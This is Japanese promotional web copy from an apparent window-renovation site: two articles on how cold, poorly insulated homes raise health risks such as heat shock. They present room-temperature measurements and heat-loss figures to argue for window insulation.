紫外線を浴びない窓辺 窓リフォーム方法、窓のお店のご紹介は、下記よりご覧いただけます。 初めての窓リフォーム 窓のお店を探す

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断熱住宅で健康に②寒い家は危険!

断熱住宅で健康に②寒い家は危険! 冬、家の中が寒いことによって、さまざまな健康リスクや死亡につながる病気が 引き起こされる可能性があります。 では、どうして家の寒さが健康と関係しているのでしょうか? 住宅の室温と健康の関係をご説明いたします。 低い室温がもたらす健康障害 イギリスの保健省の指針によると、日本では当たり前の「冬場に12℃以下になる家」は「血管上昇、心臓血管疾患のリスクがある危険な家」としています。 1枚ガラスの家はこんなに寒い!! では、実際に冬における1枚ガラスの住宅はどれだけ寒いのでしょうか。 ある戸建木造住宅の居間・寝室・脱衣所の3か所の室温を1週間計測しました! ≪計測宅データ≫ 【建物タイプ】木造戸建て 【築年数】25年 【家族構成】3名(50代夫婦+20代子供) 【地域】東京都小平市 計測結果はこちら↓↓ グラフからみても分かる通り、エアコンをつけていない夜中から朝方にかけて室温が最も下がり、エアコンを入れ始める起床後~正午にかけての時間帯が最も高くなっています。 また、居間と脱衣所の温度差を見ると、最も高い日で15℃以上も差が出ています。 このように、住宅の部屋間での温度差が血管の急激な変化をもたらし、ヒートショックなどの死につながる血管疾患を引き起こすのです。 また、もっともヒートショックが多い場所としては浴室があげられます。 暖かい居間→寒い脱衣所→熱い浴槽→寒い脱衣所と温度差のある部屋を行き来することで血管に負担がかかり、浴室でのヒートショックは起こります。特にお年寄りや年配の方は注意が必要です。 ヒートショックについてのお話は次回の特集でご説明いたします! 寒さが厳しくなるこの季節。 窓のリフォームで温度差のない快適な住空間を手に入れることができます。 ぜひ、いま一度お家の温度環境を見直してみてはいかがでしょうか? 窓のリフォーム方法、窓のお店のご紹介は、下記よりご覧いただけます。 初めての窓リフォーム 窓の専門店を探す

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断熱住宅で健康に①生活環境を整える

断熱住宅で健康に①生活環境を整える 病気を発症する原因は生活習慣のみにあらず [caption id="attachment_21057" align="alignnone" width="380"] 生活習慣だけでなく、生活環境も病気の発症に影響しています。[/caption] 高血圧によって引き起こされる心筋梗塞や脳梗塞。今までは、血圧の上昇を抑える対策として、食生活や適度な運動などが取り上げられてきました。 しかし、近年の調査で、病気の発症には生活習慣だけでなく、生活環境も影響しているということがわかってきました。発症原因のおよそ20%が生活環境である、という報告もあります。 これからは、生活習慣だけでなく、生活環境を整えていくことが重要です。 生活環境を整えるには? [caption id="attachment_21077" align="alignnone" width="480"] 断熱住宅に転居することで、様々な症状に改善効果が見られます。[/caption] 下のグラフは、無断熱住宅から断熱住宅に転居することで健康改善効果が表れるという調査結果です。(クリックで拡大できます。) 住宅を断熱することで室内を一定の温度に保つことができ、健康に過ごすことができます。 新築時に、断熱性能を検討されることはもちろんのこと、今お住まいの住宅を断熱リフォームすることでも健康改善効果を期待できます。 断熱リフォーム 重要なのは「窓」 [caption id="attachment_21063" align="alignnone" width="480"] 窓やドアなどの開口部は、住宅で最も熱の出入りが大きい箇所です。[/caption] 住宅を断熱リフォームする箇所は、主に、窓・壁・天井・屋根・床となります。 この中で最も重要なのが「窓」です。 なぜなら、住宅でもっとも熱が出入りしている場所が窓やドアなどの開口部だからです。 下の図は、住宅の熱の出入りを表したものです。(クリックで拡大できます。) 夏は71%、冬は48%の熱が窓やドアなどの開口部から出入りしています。 断熱リフォームを検討される際は、まずは窓から考えてみましょう。 窓のリフォーム方法、窓のお店のご紹介は、下記よりご覧いただけます。 初めての窓リフォーム 窓の専門店を探す

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